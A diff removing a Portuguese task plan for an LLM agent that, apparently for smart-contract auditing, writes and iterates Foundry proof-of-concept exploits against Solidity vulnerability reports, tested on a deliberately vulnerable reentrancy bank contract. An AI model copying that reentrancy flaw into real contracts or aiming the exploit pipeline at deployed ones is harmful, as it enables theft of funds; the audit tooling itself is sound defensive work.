-| **Tipo** | Implementação |
-| **Prioridade** | Alta |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-1.4 |
-
-**Descrição**  
-Criar o system prompt que instrui o LLM a agir como pesquisador de segurança Solidity. O prompt precisa garantir: (1) output é apenas Solidity em bloco, (2) o LLM não reescreve o `setUp()`, (3) toda linha não-óbvia tem comentário.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/prompts/system.ts
-```
-
-**Implementação**
-```typescript
-export const SYSTEM_PROMPT = `Você é um Pesquisador de Segurança Solidity especializado em escrever exploits Proof of Concept (PoC) para Foundry.
-
-## TAREFA
-Você receberá:
-1. Um relatório de vulnerabilidade descrevendo uma falha de segurança em Solidity.
-2. Um scaffold Foundry parcialmente completo com setUp() já implementado.
-
-Sua missão: completar APENAS a função test_Exploit() — e, se necessário, adicionar contratos auxiliares (ex: atacante com fallback()) ANTES do contrato ExploitTest.
-
-## RESTRIÇÕES ABSOLUTAS
-- NÃO modifique setUp(), imports, constants ou qualquer campo marcado com "NÃO MODIFICAR".
-- NÃO adicione novos imports além dos já presentes.
-- Output APENAS um bloco \`\`\`solidity ... \`\`\` com o arquivo completo. Sem texto fora do bloco.
-
-## REGRAS DE QUALIDADE
-- Use cheatcodes Foundry quando necessário: vm.warp(), vm.roll(), vm.prank(), vm.deal(), vm.expectRevert().
-- A assertion final DEVE usar assertTrue(), assertGt() ou assertEq() para provar que o exploit teve sucesso.
-- Cada linha não-óbvia DEVE ter um comentário inline explicando por que existe.
-- Se precisar de flash loan, implemente o callback do provider já configurado no setUp().
-- Se não conseguir completar o exploit, implemente o máximo possível e adicione comentários // TODO: explicando o que falta.
-
-## FORMATO DE OUTPUT
-\`\`\`solidity
-// arquivo completo aqui
-\`\`\`
-`.trim();
-```
-
-**Critérios de aceitação**
-- [ ] LLM sempre produz um bloco ` ```solidity``` ` no output (validar em ≥5 chamadas manuais)
-- [ ] LLM nunca reescreve `setUp()` (testar com prompt de retry)
-- [ ] LLM sempre inclui pelo menos uma assertion no `test_Exploit()`
-- [ ] Prompt cabe em menos de 500 tokens (verificar com `tiktoken`)
-
-**Como testar**
-```typescript
-// Teste manual: chamar o LLM diretamente com o system prompt
-import { ChatOpenAI } from "@langchain/openai";
-import { SYSTEM_PROMPT } from "./src/agents/poc-generator/prompts/system";
-const llm = new ChatOpenAI({ modelName: "gpt-4o", openAIApiKey: process.env.OPENROUTER_API_KEY });
-const resp = await llm.invoke([
-  { role: "system", content: SYSTEM_PROMPT },
-  { role: "user", content: "Scaffold: ...\nVulnerabilidade: reentrancy simples" }
-]);
-console.log(resp.content);
-// Verificar manualmente: contém ```solidity```? Não modificou setUp()?
-```
-
----
-
-### TALP-2.2 — Implementar `extractSolidity`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Alta |
-| **Estimativa** | 1h |
-| **Depende de** | TALP-2.1 |
-
-**Descrição**  
-Parser robusto que extrai o bloco Solidity do output do LLM, com fallbacks para casos onde o modelo omite os backticks.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/utils/extractSolidity.ts
-```
-
-**Implementação**
-```typescript
-export function extractSolidity(llmOutput: string): string {
-  // Caso 1: bloco ```solidity ... ``` padrão
-  const match = llmOutput.match(/```solidity\s*([\s\S]*?)```/);
-  if (match) return match[1].trim();
-
-  // Caso 2: LLM omitiu backticks mas começa com pragma/SPDX
-  const trimmed = llmOutput.trim();
-  if (trimmed.startsWith("// SPDX") || trimmed.startsWith("pragma")) {
-    return trimmed;
-  }
-
-  // Caso 3: output inválido — lançar erro descritivo
-  throw new Error(
-    `LLM output não contém bloco Solidity válido. Preview: "${llmOutput.slice(0, 200)}"`
-  );
-}
-```
-
-**Critérios de aceitação**
-- [ ] Extrai corretamente de bloco ` ```solidity``` ` padrão
-- [ ] Usa fallback quando LLM omite backticks mas começa com `pragma` ou `// SPDX`
-- [ ] Lança `Error` descritivo quando output é texto puro sem Solidity
-- [ ] Resultado nunca contém os backticks do bloco
-
-**Como testar**
-```typescript
-// tests/unit/extractSolidity.test.ts
-import { extractSolidity } from "../../src/agents/poc-generator/utils/extractSolidity";
-
-// Caso 1: bloco padrão
-const r1 = extractSolidity("Aqui está:\n```solidity\npragma solidity ^0.8.0;\n```");
-console.assert(r1 === "pragma solidity ^0.8.0;", "Caso 1 falhou");
-
-// Caso 2: sem backticks
-const r2 = extractSolidity("pragma solidity ^0.8.0;\ncontract A {}");
-console.assert(r2.startsWith("pragma"), "Caso 2 falhou");
-
-// Caso 3: inválido — deve lançar
-try {
-  extractSolidity("Desculpe, não consigo gerar isso.");
-  console.error("Caso 3 deveria ter lançado erro!");
-} catch (e) {
-  console.log("Caso 3 OK — erro lançado:", (e as Error).message.slice(0, 50));
-}
-
-console.log("Todos os testes de extractSolidity passaram");
-```
-
----
-
-### TALP-2.3 — Implementar `generatePoCNode`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 3h |
-| **Depende de** | TALP-2.1, TALP-2.2 |
-
-**Descrição**  
-Substituir o stub por um node real que chama o LLM. O prompt do usuário muda dependendo se é a primeira tentativa (passa o scaffold) ou um retry (passa o código com erro anterior).
-
-**Arquivos a modificar**
-```
-src/agents/poc-generator/agent.ts    ← substituir stub do generatePoCNode
-```
-
-**Implementação**
-```typescript
-import { ChatOpenAI } from "@langchain/openai";
-import { SYSTEM_PROMPT } from "./prompts/system";
-import { extractSolidity } from "./utils/extractSolidity";
-
-const llm = new ChatOpenAI({
-  modelName: "gpt-4o",
-  temperature: 0.2,
-  openAIApiKey: process.env.OPENROUTER_API_KEY,
-  configuration: { baseURL: "https://openrouter.ai/api/v1" },
-});
-
-async function generatePoCNode(state: PoCState): Promise<Partial<PoCState>> {
-  const { report, oracleContext, executionLogs, pocCode, iterations, lastError } = state;
-  const isRetry = iterations > 0;
-
-  const userMessage = isRetry
-    ? `O seguinte exploit FALHOU no Foundry.
-
-Código anterior:
-\`\`\`solidity
-${pocCode}
-\`\`\`
-
-Output do Forge (última execução):
-${executionLogs[executionLogs.length - 1]?.slice(0, 3000) ?? "sem logs"}
-
-Análise do erro: ${lastError ?? "desconhecido"}
-
-Corrija o código. Retorne o arquivo Solidity completo corrigido.`
-    : `Relatório de Vulnerabilidade:
-- Título: ${report.title}
-- Tipo: ${report.type}
-- Descrição: ${report.description}
-- Vetor de Ataque: ${report.attackVector}
-
-Scaffold (complete APENAS test_Exploit):
-\`\`\`solidity
-${oracleContext!.solidityScaffold}
-\`\`\``;
-
-  console.log(`[generatePoCNode] iteração ${iterations + 1}, isRetry=${isRetry}`);
-
-  try {
-    const response = await llm.invoke([
-      { role: "system", content: SYSTEM_PROMPT },
-      { role: "user", content: userMessage },
-    ]);
-    const solidityCode = extractSolidity(response.content as string);
-    console.log("[generatePoCNode] Solidity extraído, tamanho:", solidityCode.length);
-    return { pocCode: solidityCode, iterations: 1 };
-  } catch (err) {
-    console.error("[generatePoCNode] falha na extração:", (err as Error).message);
-    return { iterations: 1, lastError: `Falha ao extrair Solidity: ${(err as Error).message}` };
-  }
-}
-```
-
-**Critérios de aceitação**
-- [ ] Na primeira iteração: passa scaffold completo + descrição da vulnerabilidade
-- [ ] No retry: passa código anterior + logs do forge + análise do erro
-- [ ] `iterations` incrementa em +1 a cada chamada (via reducer aditivo)
-- [ ] Erro de extração não trava o grafo — registra `lastError` e continua
-- [ ] Logs do forge são truncados a 3000 chars (evitar ultrapassar context window)
-
----
-
-### TALP-2.4 — Setup do sandbox Foundry
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Setup/Infra |
-| **Prioridade** | Crítica |
-| **Estimativa** | 1h |
-| **Depende de** | TALP-1.1 |
-
-**Descrição**  
-Criar script de inicialização do sandbox Foundry local em `/tmp/poc-sandbox/`. O agente escreve o arquivo `Exploit.t.sol` aqui e executa `forge test`.
-
-**Arquivos a criar**
-```
-scripts/setup-sandbox.sh
-foundry.toml                         ← copiado para o sandbox
-```
-
-**Implementação — `setup-sandbox.sh`**
-```bash
-#!/bin/bash
-set -e
-
-SANDBOX="/tmp/poc-sandbox"
-
-echo "Inicializando sandbox Foundry em $SANDBOX..."
-rm -rf "$SANDBOX"
-mkdir -p "$SANDBOX"
-cd "$SANDBOX"
-
-forge init --no-git --quiet
-forge install foundry-rs/forge-std --no-git --quiet
-
-cat > foundry.toml << 'EOF'
-[profile.default]
-src = "src"
-test = "test"
-out = "out"
-libs = ["lib"]
-solc-version = "0.8.20"
-EOF
-
-# Remover o contrato e teste de exemplo do forge init
-rm -f src/Counter.sol test/Counter.t.sol
-
-echo "Sandbox pronto. Testando com forge build..."
-forge build
-echo "OK — sandbox funcionando em $SANDBOX"
-```
-
-**Critérios de aceitação**
-- [ ] Script roda sem erros em máquina com Foundry instalado (`forge --version`)
-- [ ] `forge build` dentro de `/tmp/poc-sandbox` tem sucesso após o script
-- [ ] Diretório `test/` existe e está vazio (pronto para receber `Exploit.t.sol`)
-- [ ] `forge-std` instalado corretamente (import `"forge-std/Test.sol"` funciona)
-
-**Como testar**
-```bash
-chmod +x scripts/setup-sandbox.sh
-./scripts/setup-sandbox.sh
-echo "// SPDX-License-Identifier: UNLICENSED
-pragma solidity ^0.8.20;
-import 'forge-std/Test.sol';
-contract SmokeTest is Test {
-  function test_ok() public { assertTrue(true); }
-}" > /tmp/poc-sandbox/test/Smoke.t.sol
-cd /tmp/poc-sandbox && forge test
-```
-
----
-
-### TALP-2.5 — Implementar `foundryRunner`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-2.4 |
-
-**Descrição**  
-Módulo que escreve o código Solidity no sandbox, executa `forge test` via `child_process` e retorna o resultado estruturado. Nunca lança erro — sempre retorna `FoundryResult`.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/tools/foundryRunner.ts
-```
-
-**Implementação**
-```typescript
-import { exec } from "child_process";
-import { promisify } from "util";
-import { writeFile } from "fs/promises";
-
-const execAsync  = promisify(exec);
-const SANDBOX    = "/tmp/poc-sandbox";
-const TIMEOUT_MS = 60_000;
-
-export interface FoundryResult {
-  exitCode: number;
-  stdout: string;
-  stderr: string;
-  combined: string;
-  timedOut: boolean;
-}
-
-export async function runFoundry(solidityCode: string): Promise<FoundryResult> {
-  // Escrever o arquivo no sandbox
-  await writeFile(`${SANDBOX}/test/Exploit.t.sol`, solidityCode, "utf-8");
-
-  try {
-    const { stdout, stderr } = await execAsync(
-      "forge test --match-contract ExploitTest -vvvv",
-      { cwd: SANDBOX, timeout: TIMEOUT_MS, env: { ...process.env } }
-    );
-    return {
-      exitCode: 0,
-      stdout,
-      stderr,
-      combined: `STDOUT:\n${stdout}\nSTDERR:\n${stderr}`,
-      timedOut: false,
-    };
-  } catch (err: any) {
-    if (err.killed || err.signal === "SIGTERM") {
-      return {
-        exitCode: -1, stdout: "", stderr: "Forge timed out",
-        combined: `TIMEOUT após ${TIMEOUT_MS / 1000}s`,
-        timedOut: true,
-      };
-    }
-    return {
-      exitCode: err.code ?? 1,
-      stdout: err.stdout ?? "",
-      stderr: err.stderr ?? "",
-      combined: `STDOUT:\n${err.stdout ?? ""}\nSTDERR:\n${err.stderr ?? ""}`,
-      timedOut: false,
-    };
-  }
-}
-```
-
-**Critérios de aceitação**
-- [ ] Detecta test pass: `exitCode === 0` + stdout contém `"ok"`
-- [ ] Detecta compiler error: `exitCode !== 0` + stderr contém `"Compiler run failed"`
-- [ ] Detecta timeout: `timedOut === true`, processo morto após 60s
-- [ ] Nunca lança exceção — sempre retorna `FoundryResult`
-- [ ] `combined` contém stdout e stderr separados por label
-
-**Como testar**
-```typescript
-// tests/unit/foundryRunner.test.ts
-import { runFoundry } from "../../src/agents/poc-generator/tools/foundryRunner";
-
-// Caso 1: código válido que passa
-const validCode = `// SPDX-License-Identifier: UNLICENSED
-pragma solidity ^0.8.20;
-import "forge-std/Test.sol";
-contract ExploitTest is Test {
-  function setUp() public {}
-  function test_Exploit() public { assertTrue(true); }
-}`;
-const r1 = await runFoundry(validCode);
-console.assert(r1.exitCode === 0, "Deveria passar");
-console.assert(r1.stdout.includes("ok"), "Deveria ter 'ok' no stdout");
-
-// Caso 2: código com erro de compilação
-const invalidCode = `pragma solidity ^0.8.20; contract Bad { function foo( }`;
-const r2 = await runFoundry(invalidCode);
-console.assert(r2.exitCode !== 0, "Deveria falhar");
-console.assert(r2.stderr.includes("Error") || r2.combined.includes("Error"), "Deveria ter erro");
-
-console.log("foundryRunner OK");
-```
-
----
-
-### TALP-2.6 — Implementar `logAnalyzer`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Alta |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-2.5 |
-
-**Descrição**  
-Módulo que lê o output bruto do `forge test` e produz um resumo legível em linguagem natural para o LLM. Classifica o erro em uma de 5 categorias.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/utils/logAnalyzer.ts
-```
-
-**Implementação**
-```typescript
-import { FoundryResult } from "../tools/foundryRunner";
-
-export type ErrorCategory =
-  | "compiler_error"
-  | "revert_no_message"
-  | "revert_with_message"
-  | "assertion_failed"
-  | "timeout"
-  | "unknown";
-
-export interface LogAnalysis {
-  category: ErrorCategory;
-  summary: string;          // 1-2 frases em linguagem natural para o LLM
-  relevantLines: string[];  // máx 10 linhas do log original
-}
-
-export function analyzeFoundryLog(result: FoundryResult): LogAnalysis {
-  if (result.timedOut) return {
-    category: "timeout",
-    summary: "Forge excedeu 60s. O exploit pode ter entrado em loop infinito ou a lógica está bloqueante.",
-    relevantLines: [],
-  };
-
-  if (result.combined.includes("Compiler run failed")) {
-    const lines = result.combined.split("\n")
-      .filter(l => l.includes("Error") || l.includes("error") || l.includes("-->"))
-      .slice(0, 10);
-    return {
-      category: "compiler_error",
-      summary: "Erro de compilação Solidity. Verifique: interfaces faltando, assinaturas incorretas, tipos incompatíveis.",
-      relevantLines: lines,
-    };
-  }
-
-  if (result.combined.includes("FAIL")) {
-    const revertReason  = result.combined.match(/revert: (.+)/)?.[1];
-    const assertionFail = result.combined.includes("Assertion Failed") || result.combined.includes("assertion failed");
-
-    if (assertionFail) return {
-      category: "assertion_failed",
-      summary: "O exploit executou mas a assertion final falhou — o atacante não obteve o resultado esperado.",
-      relevantLines: result.combined.split("\n")
-        .filter(l => l.includes("assertion") || l.includes("FAIL")).slice(0, 10),
-    };
-
-    if (revertReason) return {
-      category: "revert_with_message",
-      summary: `Transação reverteu com: "${revertReason}". O contrato rejeitou a operação.`,
-      relevantLines: [revertReason],
-    };
-
-    return {
-      category: "revert_no_message",
-      summary: "Transação reverteu sem mensagem. Verifique a ordem das chamadas, permissões e estado do contrato.",
-      relevantLines: result.combined.split("\n")
-        .filter(l => l.includes("revert") || l.includes("FAIL")).slice(0, 5),
-    };
-  }
-
-  return {
-    category: "unknown",
-    summary: "Erro desconhecido. Revisar output completo do forge.",
-    relevantLines: result.combined.split("\n").slice(0, 10),
-  };
-}
-```
-
-**Critérios de aceitação**
-- [ ] Classifica `compiler_error` quando stderr contém `"Compiler run failed"`
-- [ ] Classifica `assertion_failed` quando stdout contém `"FAIL"` + `"Assertion Failed"`
-- [ ] Classifica `revert_with_message` quando há `revert: <mensagem>`
-- [ ] `relevantLines` nunca tem mais de 10 linhas
-- [ ] `summary` é sempre linguagem natural (não reproduz stack trace bruto)
-
-**Como testar**
-```typescript
-// tests/unit/logAnalyzer.test.ts
-import { analyzeFoundryLog } from "../../src/agents/poc-generator/utils/logAnalyzer";
-
-const compilerError = { exitCode: 1, timedOut: false, stdout: "", stderr: "Compiler run failed\nError: ...\n--> src/A.sol:10:5", combined: "STDOUT:\n\nSTDERR:\nCompiler run failed\nError: ...\n--> src/A.sol:10:5" };
-const r1 = analyzeFoundryLog(compilerError as any);
-console.assert(r1.category === "compiler_error", "Caso 1 falhou");
-console.assert(r1.relevantLines.length <= 10, "Muitas linhas");
-
-const timeout = { exitCode: -1, timedOut: true, stdout: "", stderr: "", combined: "TIMEOUT" };
-const r2 = analyzeFoundryLog(timeout as any);
-console.assert(r2.category === "timeout", "Caso timeout falhou");
-
-console.log("logAnalyzer OK");
-```
-
----
-
-### TALP-2.7 — Implementar `reflectNode`
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Alta |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-2.6 |
-
-**Descrição**  
-Node que usa o `logAnalyzer` para produzir um `lastError` estruturado e legível. Este valor é passado para o `generatePoCNode` no retry, orientando o LLM sobre o que corrigir.
-
-**Arquivos a modificar**
-```
-src/agents/poc-generator/agent.ts    ← substituir stub do reflectNode
-```
-
-**Implementação**
-```typescript
-import { analyzeFoundryLog } from "./utils/logAnalyzer";
-
-async function reflectNode(state: PoCState): Promise<Partial<PoCState>> {
-  // Pegar o último log de execução
-  const lastLog = state.executionLogs[state.executionLogs.length - 1];
-  if (!lastLog) {
-    return { lastError: "Sem logs disponíveis para análise." };
-  }
-
-  // Reconstruir FoundryResult mínimo a partir do log combinado
-  const mockResult = {
-    exitCode: 1, timedOut: lastLog.includes("TIMEOUT"),
-    stdout: "", stderr: "", combined: lastLog,
-  };
-
-  const analysis = analyzeFoundryLog(mockResult as any);
-
-  console.log(`[reflectNode] categoria: ${analysis.category}`);
-  console.log(`[reflectNode] resumo: ${analysis.summary}`);
-
-  return {
-    lastError: `[${analysis.category.toUpperCase()}] ${analysis.summary}\n\nLinhas relevantes:\n${analysis.relevantLines.join("\n")}`,
-  };
-}
-```
-
-**Critérios de aceitação**
-- [ ] `lastError` sempre é uma string não-vazia após o node
-- [ ] `lastError` inclui a categoria do erro entre colchetes
-- [ ] `lastError` inclui as linhas relevantes do log (não o log inteiro)
-- [ ] Node não trava se `executionLogs` estiver vazio
-
----
-
-### TALP-2.8 — Implementar router condicional e fechar o loop
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Crítica |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-2.3, TALP-2.5, TALP-2.7 |
-
-**Descrição**  
-Substituir as edges fixas do grafo por edges condicionais que implementam o loop ReAct. Atualizar o `runFoundryNode` real e conectar tudo.
-
-**Arquivos a modificar**
-```
-src/agents/poc-generator/agent.ts    ← refatorar grafo completo
-```
-
-**Implementação**
-```typescript
-const MAX_ITERATIONS = 5;
-
-function routeAfterFoundry(state: PoCState): "reflectNode" | "__end__" {
-  if (state.status === "success") return "__end__";
-  if (state.status === "timeout") return "__end__";
-  if (state.iterations >= MAX_ITERATIONS) return "__end__";
-  return "reflectNode";
-}
-
-async function runFoundryNode(state: PoCState): Promise<Partial<PoCState>> {
-  const result   = await runFoundry(state.pocCode);
-  const analysis = analyzeFoundryLog(result);
-  const passed   = result.exitCode === 0 && result.stdout.includes("ok");
-
-  console.log(`[runFoundryNode] exitCode=${result.exitCode}, passed=${passed}`);
-
-  return {
-    executionLogs: [result.combined],   // reducer append
-    lastError: analysis.summary,
-    status: passed          ? "success"
-          : result.timedOut ? "timeout"
-          : "running",
-  };
-}
-
-// Grafo final com loop ReAct
-const graph = new StateGraph(PoCStateAnnotation)
-  .addNode("oracleNode",       oracleNode)
-  .addNode("generatePoCNode",  generatePoCNode)
-  .addNode("runFoundryNode",   runFoundryNode)
-  .addNode("reflectNode",      reflectNode)
-  .addEdge(START, "oracleNode")
-  .addEdge("oracleNode", "generatePoCNode")
-  .addEdge("generatePoCNode", "runFoundryNode")
-  .addConditionalEdges("runFoundryNode", routeAfterFoundry, {
-    reflectNode: "reflectNode",
-    __end__: END,
-  })
-  .addEdge("reflectNode", "generatePoCNode");  // fecha o loop
-
-export const pocGeneratorAgent = graph.compile();
-```
-
-**Critérios de aceitação**
-- [ ] Loop executa ≥2 iterações quando a primeira tentativa falha
-- [ ] Para em `END` quando `status === "success"`
-- [ ] Para em `END` quando `iterations >= 5` (mesmo sem sucesso)
-- [ ] Para em `END` quando `status === "timeout"`
-- [ ] `executionLogs` tem uma entrada por iteração ao final
-
-**Gate da Semana 2:** Rodar o agente com o `VulnerableBank` e confirmar que o loop executa ≥2 iterações e melhora o código após erro de compilação.
-
----
-
-## SEMANA 3 — Integração, Smoke Test & Avaliação
-
----
-
-### TALP-3.1 — Interface pública do agente
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Implementação |
-| **Prioridade** | Alta |
-| **Estimativa** | 1h |
-| **Depende de** | TALP-2.8 |
-
-**Descrição**  
-Criar o entry point público que o restante do sistema (Agente Auditor) usará para invocar o Agente de PoCs.
-
-**Arquivos a criar**
-```
-src/agents/poc-generator/index.ts
-```
-
-**Implementação**
-```typescript
-import { pocGeneratorAgent } from "./agent";
-import { VulnerabilityReport, PoCResult } from "./types";
-
-export async function runPoCGenerator(report: VulnerabilityReport): Promise<PoCResult> {
-  console.log(`[runPoCGenerator] iniciando para: ${report.id} — ${report.title}`);
-
-  const finalState = await pocGeneratorAgent.invoke({ report });
-
-  const result: PoCResult = {
-    reportId:      report.id,
-    status:        finalState.status === "running" ? "failed" : finalState.status,
-    solidityCode:  finalState.pocCode,
-    executionLogs: finalState.executionLogs,
-    iterations:    finalState.iterations,
-  };
-
-  console.log(`[runPoCGenerator] concluído — status=${result.status}, iterações=${result.iterations}`);
-  return result;
-}
-
-export type { VulnerabilityReport, PoCResult };
-```
-
-**Critérios de aceitação**
-- [ ] Nunca lança exceção — retorna `PoCResult` em qualquer cenário
-- [ ] `status` nunca é `"running"` no resultado final (mapeia para `"failed"`)
-- [ ] Tipos exportados batem com o contrato esperado pelo Agente Auditor
-
----
-
-### TALP-3.2 — Smoke test end-to-end com reentrancy
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Teste |
-| **Prioridade** | Crítica |
-| **Estimativa** | 3h |
-| **Depende de** | TALP-3.1 |
-
-**Descrição**  
-Validar o pipeline completo com um contrato vulnerável simples de reentrancy escrito manualmente. Este teste não depende de dataset externo.
-
-**Arquivos a criar**
-```
-tests/e2e/poc-generator.test.ts
-```
-
-**Implementação**
-```typescript
-import { runPoCGenerator } from "../../src/agents/poc-generator";
-import { VulnerabilityReport } from "../../src/agents/poc-generator/types";
-
-const VULNERABLE_BANK = `
-pragma solidity ^0.8.20;
-contract VulnerableBank {
-    mapping(address => uint) public balances;
-    function deposit() external payable { balances[msg.sender] += msg.value; }
-    function withdraw() external {
-        uint amount = balances[msg.sender];
-        (bool ok,) = msg.sender.call{value: amount}("");
-        require(ok);
-        balances[msg.sender] = 0;  // atualiza DEPOIS — reentrancy
-    }
-    receive() external payable {}
-}`.trim();
-
-const mockReport: VulnerabilityReport = {
-  id: "e2e-reentrancy-001",
-  severity: "critical",
-  type: "reentrancy",
-  title: "Reentrancy em withdraw()",
-  description: "withdraw() envia ETH antes de zerar o saldo, permitindo re-entrada.",
-  affectedContract: { name: "VulnerableBank", sourceCode: VULNERABLE_BANK },
-  attackVector: "Contrato atacante com fallback() que chama withdraw() novamente antes do saldo ser zerado.",
-  suggestedCheatcodes: ["vm.deal", "vm.startPrank", "vm.stopPrank"],
-};
-
-async function runE2ETest() {
-  console.log("Iniciando smoke test end-to-end...");
-  const result = await runPoCGenerator(mockReport);
-
-  console.log(`Status: ${result.status}`);
-  console.log(`Iterações: ${result.iterations}`);
-  console.log(`Logs: ${result.executionLogs.length} entrada(s)`);
-
-  console.assert(result.status === "success",    `FALHOU: status esperado 'success', recebido '${result.status}'`);
-  console.assert(result.iterations <= 5,          `FALHOU: muitas iterações (${result.iterations})`);
-  console.assert(result.solidityCode.includes("test_Exploit"), "FALHOU: código não contém test_Exploit");
-
-  console.log("Smoke test PASSOU");
-  return result;
-}
-
-runE2ETest().catch(console.error);
-```
-
-**Critérios de aceitação**
-- [ ] `result.status === "success"`
-- [ ] `result.iterations <= 5`
-- [ ] `result.solidityCode` contém `test_Exploit`
-- [ ] Teste completo roda em menos de 3 minutos
-- [ ] Não requer variável `MAINNET_RPC_URL` (contrato é local)
-
-**Como executar**
-```bash
-OPENROUTER_API_KEY=sk-... npx ts-node tests/e2e/poc-generator.test.ts
-```
-
----
-
-### TALP-3.3 — Preparar dataset de benchmark
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Dados |
-| **Prioridade** | Alta |
-| **Estimativa** | 3h |
-| **Depende de** | — |
-
-**Descrição**  
-Selecionar ≥5 casos reais do dataset **Proof-of-Patch** (ASSERT-KTH) e montar o `benchmark.json`. Priorizar: reentrancy, access control bypass, integer overflow.
-
-**Arquivos a criar**
-```
-data/benchmark.json
-```
-
-**Formato**
-```json
-[
-  {
-    "id": "bench-001",
-    "vulnerability": "Reentrancy em withdraw()",
-    "type": "reentrancy",
-    "severity": "critical",
-    "contractName": "VulnerableBank",
-    "sourceCode": "pragma solidity ^0.8.20; ...",
-    "attackVector": "Contrato atacante com fallback reentrant",
-    "source": "Proof-of-Patch / ASSERT-KTH",
-    "referencePoC": "disponível no repositório ASSERT-KTH/Proof-of-Patch"
-  }
-]
-```
-
-**Critérios de aceitação**
-- [ ] ≥5 entradas com `sourceCode` completo e compilável
-- [ ] Cobre pelo menos 3 tipos de vulnerabilidade diferentes
-- [ ] Cada entrada tem `attackVector` descrito
-- [ ] Todos os contratos compilam com `forge build` (verificar antes de incluir)
-
----
-
-### TALP-3.4 — Script de avaliação em batch
-
-| Campo | Valor |
-|-------|-------|
-| **Tipo** | Avaliação |
-| **Prioridade** | Alta |
-| **Estimativa** | 2h |
-| **Depende de** | TALP-3.1, TALP-3.3 |
-
-**Descrição**  
-Script que roda o agente sobre todos os casos do benchmark e reporta a taxa de sucesso. Um caso que falha não interrompe o batch.
-
-**Arquivos a criar**
-```
-scripts/evaluate.ts
-data/eval-results.json    ← gerado pelo script
-```
-
-**Implementação**
-```typescript
-import { readFileSync, writeFileSync } from "fs";
-import { runPoCGenerator } from "../src/agents/poc-generator";
-
-interface BenchmarkCase {
-  id: string; vulnerability: string; type: string; severity: string;
-  contractName: string; sourceCode: string; attackVector: string;
-}
-
-interface EvalResult {
-  id: string; status: string; iterations: number;
-  passed: boolean; durationMs: number;
-}
-
-async function main() {
-  const dataset: BenchmarkCase[] = JSON.parse(readFileSync("data/benchmark.json", "utf-8"));
-  const results: EvalResult[] = [];
-
-  console.log(`Iniciando avaliação — ${dataset.length} caso(s)\n`);
-
-  for (const item of dataset) {
-    const start = Date.now();
-    console.log(`[${item.id}] Rodando: ${item.vulnerability}...`);
-
-    try {
-      const result = await runPoCGenerator({
-        id: item.id, severity: item.severity as any, type: item.type,
-        title: item.vulnerability, description: item.vulnerability,
-        affectedContract: { name: item.contractName, sourceCode: item.sourceCode },
-        attackVector: item.attackVector,
-      });
-      const dur = Date.now() - start;
-      results.push({ id: item.id, status: result.status, iterations: result.iterations, passed: result.status === "success", durationMs: dur });
-      console.log(`  → ${result.status} em ${result.iterations} iter(s), ${(dur/1000).toFixed(1)}s`);
-    } catch (err) {
-      const dur = Date.now() - start;
-      results.push({ id: item.id, status: "error", iterations: 0, passed: false, durationMs: dur });
-      console.error(`  → ERRO: ${(err as Error).message}`);
-    }
-  }
-
-  const passed     = results.filter(r => r.passed).length;
-  const total      = results.length;
-  const successRate = ((passed / total) * 100).toFixed(1);
-  const avgIter    = (results.reduce((s, r) => s + r.iterations, 0) / total).toFixed(1);
-
-  console.log(`\n${"=".repeat(40)}`);
-  console.log(`Taxa de sucesso: ${successRate}% (${passed}/${total})`);
-  console.log(`Média de iterações: ${avgIter}`);
-  console.log(`${"=".repeat(40)}`);
-
-  writeFileSync("data/eval-results.json", JSON.stringify({ summary: { successRate: parseFloat(successRate), passed, total, avgIterations: parseFloat(avgIter) }, results }, null, 2));
-  console.log("\nResultados salvos em data/eval-results.json");
-}
-
-main().catch(console.error);
-```
-
-**Critérios de aceitação**
-- [ ] Roda todos os casos sem travar (erro individual registrado e continua)
-- [ ] Gera `data/eval-results.json` com resultados por caso + sumário
-- [ ] Reporta taxa de sucesso, total de casos e média de iterações
-- [ ] **Taxa alvo:** ≥50% de sucesso nos casos do benchmark
-
-**Como executar**
-```bash
-OPENROUTER_API_KEY=sk-... npx ts-node scripts/evaluate.ts
-```
-
----
-
-## Resumo de Arquivos por Task
-
-| Task | Arquivo | Ação |
-|------|---------|------|
-| TALP-1.1 | `tsconfig.json`, `package.json` | criar/atualizar |
-| TALP-1.2 | `src/.../types.ts`, `src/.../state.ts` | criar |
-| TALP-1.3 | `src/.../agent.ts` | criar (stubs) |
-| TALP-1.4 | `src/.../tools/scaffoldGenerator.ts` | criar |
-| TALP-1.5 | `src/.../agent.ts` | modificar (oracleNode real) |
-| TALP-2.1 | `src/.../prompts/system.ts` | criar |
-| TALP-2.2 | `src/.../utils/extractSolidity.ts` | criar |
-| TALP-2.3 | `src/.../agent.ts` | modificar (generatePoCNode real) |
-| TALP-2.4 | `scripts/setup-sandbox.sh`, `foundry.toml` | criar |
-| TALP-2.5 | `src/.../tools/foundryRunner.ts` | criar |
-| TALP-2.6 | `src/.../utils/logAnalyzer.ts` | criar |
-| TALP-2.7 | `src/.../agent.ts` | modificar (reflectNode real) |
-| TALP-2.8 | `src/.../agent.ts` | modificar (grafo final com loop) |
-| TALP-3.1 | `src/.../index.ts` | criar |
-| TALP-3.2 | `tests/e2e/poc-generator.test.ts` | criar |
-| TALP-3.3 | `data/benchmark.json` | criar |
-| TALP-3.4 | `scripts/evaluate.ts` | criar |

src/agents/tester/agent.ts

@@ -1,357 +1,5 @@
 import "dotenv/config";
-import fs from "fs/promises";
-import path from "path";
-import { execSync } from "child_process";
+import { testerAgentGraph } from "./graph.js";
 
